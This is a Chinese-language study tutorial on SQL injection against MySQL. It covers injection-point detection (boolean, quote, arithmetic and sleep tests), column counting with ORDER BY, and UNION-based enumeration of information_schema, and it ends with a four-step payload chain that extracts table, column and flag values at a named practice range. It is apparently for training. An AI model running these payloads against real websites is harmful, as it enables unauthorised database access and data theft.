sql注入的原理分析
本文要点:
~什么是注入
~注入的条件
~判断注入点
~显错注入的基本流程
~补充说明
一、sql注入本质
1,注入攻击本质:将用户输入的不可信数据当作代码去执行
2,条件:
~用户能控制输入
~原本程序要执行的代码,拼接了用户输入的内容,然后执行
3,判断是否存在注入点
~古老的判断:
select * from news where id=1 and 1=1 正常输出
select * from news where id=1 and 1=2 没输出
满足上述两个就存在注入,为什么? 因为拼接的and语句执行了
~简单的判断:
select * from news where id=1 正常输出
select * from news where id=1' 爆出错误
满足上述两个就存在注入,为什么? 因为拼接的 ' 被执行了
~推荐的判断:
select * from news where id=2 正常输出
select * from news where id=2-1 正常输出
满足上述两个就存在注入,为什么? 因为拼接的 - 被执行了
or sleep(5) 网站会缓存5秒之多 再出现页面,说明 输入代码被执行
~说明:
~and 和 左右条件都得成立
~or 或 左右成立一个就行
~sql注入的'' ""是成对出现,不能仅出现,否则会进行报错
~sql语句支持数字运算所以,- 可以判断注入
但是不要写+ , +有可能会被理解为 空格 和 连接符
猫舍靶场:http://59.63.200.79:8003/
4,显错注入-联合查询(mysql数据库)的基本流程
要求:联合查询的字段数必须相同,怎么知道当前表的字段数是否相同?
可以用order by
~判断是否存在注入点
参考3
~猜解字段数
//order by去试试,不出内容或者报错就得出表的字段数
例如:
select * from admin where id = 1 order by 4;正常执行
select * from admin where id = 1 order by 5;爆出错误
说明admin有4个字段
~联合查询寻找输出点 (!!!联合查询,条件是union左右列数相等)
例如:
select * from admin where id = 1 union select 1,2,3,4;
成功执行,就说明一共有4列
//select 1,2 就是输出1 2;这些数可以随意定义
但是一般网页只有一个输出点,如何输出我们的语句呢?正常网页仅会输出部分数据库内容
用到;limit
limit 0,1 [从结果的第一行数据取一个]
limit 1,1 [从第二行数据取一个]
例如:
select * from admin where id = 1 and 1=2 union select 1,2,3,4 limit 0,1;
select * from admin where id = 1 union select 1,2,3,4 limit 1,1;
~查询系统自带库查询表名、字段名 来获取 库名 表名 字段名
~database() 查询当前库名
~mysql5.0版本以存在 information_schema这个系统自带库
其中保存着关于MySQL服务器中所有数据库的信息。
如数据库名,数据库中的表,访问权限等
//低于5.0只能爆破了
~information_schema.tables
存放表名与库名的对应。代表information_schema库中的tables表
~information_schema.columns
存放字段名和表名的对应 代表information_schema库中的columns表
例子:select 1,table_name from information_schema.tables
where table_schema=database();
~查询我们需要的字段的值
注意输出点,再输出点就行替换 假设下列例子输出点在 2 上,对其进行替换
select * from admin where id = 1 and 1=2 union select 1,name limit 0,1;
select * from admin where id = 1 union select 1,pwd limit 1,1;
5,补充:GROUP_CONCAT() 函数的用法将结果放置一行之中 逗号隔开 进行输出
例如:select GROUP_CONCAT(name) from admin ;
就会将admin之中的name列所有数据放在一行,用逗号隔开就行输出。结果如下:
GROUP_CONCAT(name)
001,002,003
6,总结:
手工注入过程总结: 库--表--列--字段
1,id=-1' union select 1,2,3,database()
#得到本网页数据库名字
2,id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
# 获取本数据库中的所有表名字
3,id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
#获取所有列名字 这里需要用16进制绕过 有的不要转直接 '表单名字'
4,id=-1' union select 1,2,3,GROUP_CONCAT(flag) from 表名字
#得到所有字段, 另外order by 给列排序